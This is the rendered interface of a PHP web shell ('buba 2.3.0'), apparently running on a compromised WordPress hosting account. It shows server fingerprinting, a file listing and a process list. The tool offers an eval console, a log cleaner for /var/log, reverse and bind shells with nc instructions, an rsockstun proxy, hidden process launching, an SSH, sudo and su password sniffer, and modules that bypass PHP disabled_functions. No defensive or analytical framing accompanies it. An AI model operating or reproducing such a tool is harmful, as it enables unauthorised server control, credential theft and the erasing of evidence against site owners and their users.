buba 2.3.0

Server IP : 127.0.0.1 | External IP:

0.0.0.0

| Your IP : 172.241.236.75

Time @ Server :

09 Sep 2026 01:14:53

| UPTIME

01:14:53 up 5 days, 3:28, 0 users, load average: 3.57, 3.61, 3.76

COPY INFO[CPU_64][LINUX_64][PHP_64] Linux 31f5c4373ef7 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64

Dist: Debian GNU/Linux 13 (trixie)

Visitors: 80: 5 443: 1 UNIX: 23

Hostname: 31f5c4373ef7

Ptrace scope: (0) [ALERT] All processes can be debugged, as long as they have same uid. This is the classical way of how ptracing worked.

ROOTED? NOROOTKIT? NO

User: uid=1000291326(customer) gid=1000291326(customer) groups=1000291326(customer)

Writable test dir: /tmp/test/GO CLEAR

PHP 8.2.33

USER	TTY	FROM	LOGIN@	IDLE	JCPU	PCPU	WHAT
No users on server

copy name	name	size	modified	owner	perms
	[ . ]action	[ DIR ]	08-Sep-2026 22:20:41	root:customer	drwxrwxr-t
	[ .. ]action	[ DIR ]	03-Sep-2026 21:52:57	root:root	drwxr-xr-x
copy name	[ .pki ]action	[ DIR ]	09-Feb-2022 11:51:24	customer:customer	drwx---r-x
copy name	[ .st89ing ]action	[ DIR ]	17-Mar-2022 17:28:44	customer:customer	drwx---r-x
copy name	[ .sucuriquarantine ]action	[ DIR ]	09-Feb-2022 15:57:47	customer:customer	drwx---r-x
copy name	[ .well-known ]action	[ DIR ]	03-Sep-2024 10:45:33	customer:customer	drwxr-xr-x
copy name	[ .wp-cli ]action	[ DIR ]	09-Feb-2022 11:51:24	root:customer	drwxrwxr-x
copy name	[ platform ]action	[ DIR ]	29-Jul-2025 16:15:37	root:root	drwxr-xr-x
copy name	[ wp-admin ]action	[ DIR ]	12-Aug-2026 15:19:58	root:root	drwxr-xr-x
copy name	[ wp-content ]action	[ DIR ]	02-Jan-2025 09:58:55	root:customer	drwxrwxr-t
copy name	[ wp-includes ]action	[ DIR ]	12-Aug-2026 15:19:59	root:root	drwxr-xr-x
copy name	.htaccessaction	1.15 KB	06-Jan-2024 19:56:24	customer:customer	-rw----r--
copy name	.htaccess.action	523 B	09-Feb-2022 12:09:25	customer:customer	-rw----r--
copy name	.htaccess.logaction	1.21 KB	03-Sep-2026 21:52:56	root:root	-rw-r--r--
copy name	.wp-config.php.20250712153240.bakaction	3.29 KB	12-Jul-2025 15:32:40	customer:customer	-rw-r--r--
copy name	.wp-config.php.replaced.bakaction	223 B	17-Apr-2026 19:07:42	customer:customer	-rw-r--r--
copy name	gd-config.php.disableaction	665 B	09-Feb-2022 11:57:24	customer:customer	-rw-rw-r--
copy name	gd-preload-cli.phpaction	0	03-Jul-2023 16:11:44	customer:customer	-rw-rw-r--
copy name	googlec55310faa35e04c1.htmlaction	54 B	09-Feb-2022 15:25:12	customer:customer	-rw-rw-r--
copy name	index.phpaction	405 B	12-Aug-2026 15:19:58	root:root	-rw-r--r--
copy name	license.txtaction	19.45 KB	18-Aug-2020 05:26:15	customer:customer	-rw-rw-r--
copy name	plat-cron.phpaction	15.45 KB	15-Jul-2026 15:37:34	root:root	-rw-r--r--
copy name	readme.htmlaction	7.11 KB	18-Aug-2020 05:26:15	customer:customer	-rw-rw-r--
copy name	robots.txtaction	24 B	01-Feb-2022 17:12:02	customer:customer	-rw-rw-r--
copy name	sucuri-cleanup.php-DISABLEDaction	4.54 KB	09-Feb-2022 15:25:09	customer:customer	-rw-rw-r--
copy name	sucuri-db-cleanup.php-DISABLEDaction	0	25-Jul-2022 12:51:29	customer:customer	-rw-rw-r--
copy name	sucuri-filemanager.php-DISABLEDaction	42.24 KB	09-Feb-2022 15:25:13	customer:customer	-rw-rw-r--
copy name	sucuri-toolbox-client.php-DISABLEDaction	4.01 KB	09-Feb-2022 15:25:13	customer:customer	-rw-rw-r--
copy name	sucuri-version-check.php-DISABLEDaction	108.68 KB	09-Feb-2022 15:25:09	customer:customer	-rw-rw-r--
copy name	sucuri_listcleaned.php-DISABLEDaction	6.17 KB	09-Feb-2022 15:25:12	customer:customer	-rw-rw-r--
copy name	wp-activate.phpaction	7.21 KB	12-Aug-2026 15:19:58	root:root	-rw-r--r--
copy name	wp-admin.phpaction	0	09-Feb-2022 13:26:50	customer:customer	-rw-rw-r--
copy name	wp-blog-header.phpaction	351 B	12-Aug-2026 15:19:58	root:root	-rw-r--r--
copy name	wp-blog-post.phpaction	0	09-Feb-2022 13:26:43	customer:customer	-rw-rw-r--
copy name	wp-blog-signup.phpaction	0	09-Feb-2022 13:26:43	customer:customer	-rw-rw-r--
copy name	wp-cli.ymlaction	0	03-Jul-2023 16:11:44	customer:customer	-rw-rw-r--
copy name	wp-comments-post.phpaction	2.27 KB	12-Aug-2026 15:19:58	root:root	-rw-r--r--
copy name	wp-config.phpaction	223 B	12-Jul-2025 15:32:43	customer:customer	-rw-rw-r--
copy name	wp-config.php.bakaction	2.84 KB	09-Feb-2022 16:12:09	customer:customer	-rw-rw-r--
copy name	wp-config.php.bak.phpaction	0	09-Feb-2022 15:53:29	customer:customer	-rw-rw-r--
copy name	wp-config.php.disableaction	0	09-Feb-2022 15:56:43	customer:customer	-rw-rw-r--
copy name	wp-cron.phpaction	5.49 KB	12-Aug-2026 15:19:58	root:root	-rw-r--r--
copy name	wp-images.phpaction	0	09-Feb-2022 13:57:01	customer:customer	-rw-rw-r--
copy name	wp-links-opml.phpaction	2.44 KB	12-Aug-2026 15:19:59	root:root	-rw-r--r--
copy name	wp-load.phpaction	3.84 KB	12-Aug-2026 15:19:59	root:root	-rw-r--r--
copy name	wp-login.phpaction	50.23 KB	12-Aug-2026 15:19:59	root:root	-rw-r--r--
copy name	wp-mail.phpaction	8.52 KB	12-Aug-2026 15:19:59	root:root	-rw-r--r--
copy name	wp-settings.phpaction	29.38 KB	12-Aug-2026 15:19:59	root:root	-rw-r--r--
copy name	wp-signin.phpaction	0	09-Feb-2022 13:56:47	customer:customer	-rw-rw-r--
copy name	wp-signup.phpaction	33.84 KB	12-Aug-2026 15:19:59	root:root	-rw-r--r--
copy name	wp-trackback.phpaction	4.98 KB	12-Aug-2026 15:19:59	root:root	-rw-r--r--
copy name	wp-ver.phpaction	0	09-Feb-2022 13:57:01	customer:customer	-rw-rw-r--
copy name	xmlrpc.phpaction	3.13 KB	12-Aug-2026 15:19:59	root:root	-rw-r--r--
	refresh
42 file(s), 9 Folder(s)

CLEAR HISTORY

(userroot)

/dom278486/>

Eval


run	Skip clear Skip run	history back history next
You can also press ctrl+enter to submit

Bash History
User home dirs(s)		Please root!
Bash History	Please push "Parse History" button
You can also press ctrl+enter to submit

Logs Cleaner
Path(s)	/var/log/
Script	vvvvv Parse logs files vvvvv	Use recursion
Logs
IP
Script	vvvvv Clear logs vvvvv
You can also press ctrl+enter to submit

Backconnect
Target IP
Port
Lang/Shell/Protocol				run
Run ' nc -l -v -p port ' on your computer and press ' run ' button

Bind Shell
Server IP
Port
Lang		run
Press ' run ' button and run ' nc server_ip port ' on your computer

Proxy Rsockstun
Server IP
Port		Delay reconnect
Reconnect times		run

Run hided		run hided
NOTE: if u need generate self-signed cerificate use this with openssl: openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes Run ' rsockstun -listen :port -socks :sport -cert server ' on your computer and press ' run ' button

action	user	pid	%cpu	%mem	vsz	rss	tty	stat	start	time	command
kill	root	1	0.0	0.0	400328	46288	?	Ss	Sep03	0:19	php-fpm: master process (/usr/local/etc/php-fpm.conf)
kill	customer	16270	0.2	0.0	477516	96900	?	S	Sep08	1:26	php-fpm: pool app-278486
kill	customer	17042	0.2	0.0	402268	89608	?	S	Sep08	1:13	php-fpm: pool app-278486
kill	customer	17044	0.3	0.0	476444	96204	?	S	Sep08	1:21	php-fpm: pool app-278486
kill	customer	19837	0.1	0.0	402416	90160	?	S	Sep08	0:21	php-fpm: pool app-278486
kill	customer	19838	0.2	0.0	483676	100784	?	S	Sep08	0:37	php-fpm: pool app-278486
kill	customer	19839	0.1	0.0	476452	92876	?	S	Sep08	0:27	php-fpm: pool app-278486
kill	customer	19982	0.2	0.0	412812	100356	?	S	Sep08	0:33	php-fpm: pool app-278486
kill	customer	20696	0.1	0.0	483628	100816	?	S	Sep08	0:19	php-fpm: pool app-278486
kill	customer	20720	0.1	0.0	476460	92808	?	S	Sep08	0:16	php-fpm: pool app-278486
kill	customer	22388	0.0	0.0	2672	1796	?	S	01:14	0:00	sh -c -- ps aux 2>&1
kill	customer	22389	0.0	0.0	6424	3848	?	R	01:14	0:00	ps aux
kill selectedrefresh

Push Service
Full path
Script	Copy link	Push
You can also press ctrl+enter to submit

Push Service

Full path

Script

Copy link

Push

You can also press ctrl+enter to submit

Settings shell
Explorer settings	ModifiedSizeOwnerPermissions	Custom tmp/test path
Gping password		Gping path
Testing	Test gpingTest rootkit	Highlight bash history
Rootkit Lib path		Rootkit Folder path
Resourse server		Custom php path
Use forse http	Use forse NO SSL	Custom http(s) timeout
Use auto touch after delete	Use auto touch after delete
save settings
You can also press ctrl+enter to submit

Tools
Run hide process	Name Hide Process		Result hide run		run hide process
Run hide process	Command to run script		Directory of script		run hide process

Enable Password Sniff	ENABLE_SSH		ENABLE_SUDO
	ENABLE_SU		ENABLE_SSH_CLIENT
	Password store file		ENABLE_PASSWD
	Binary 3snake		Enable work from suid	Enable work from suid
Shell Modules	php-concat-bypass	Bypass disabled_functions exploit based on this bug. Versions PHP 7.3 - ALL, 7.4 - ALL, 8.0 - ALL, 8.1 - ALL	install
Shell Modules	php-filter-bypass	Bypass disabled_functions exploit based on this bug. Versions PHP 7.0 - 8.0 released as of 2021-10-06	install
You can also press ctrl+enter to submit

Update shell
SKIP version check	Put URL or File
KEY OF SHELL
update
You can also press ctrl+enter to submit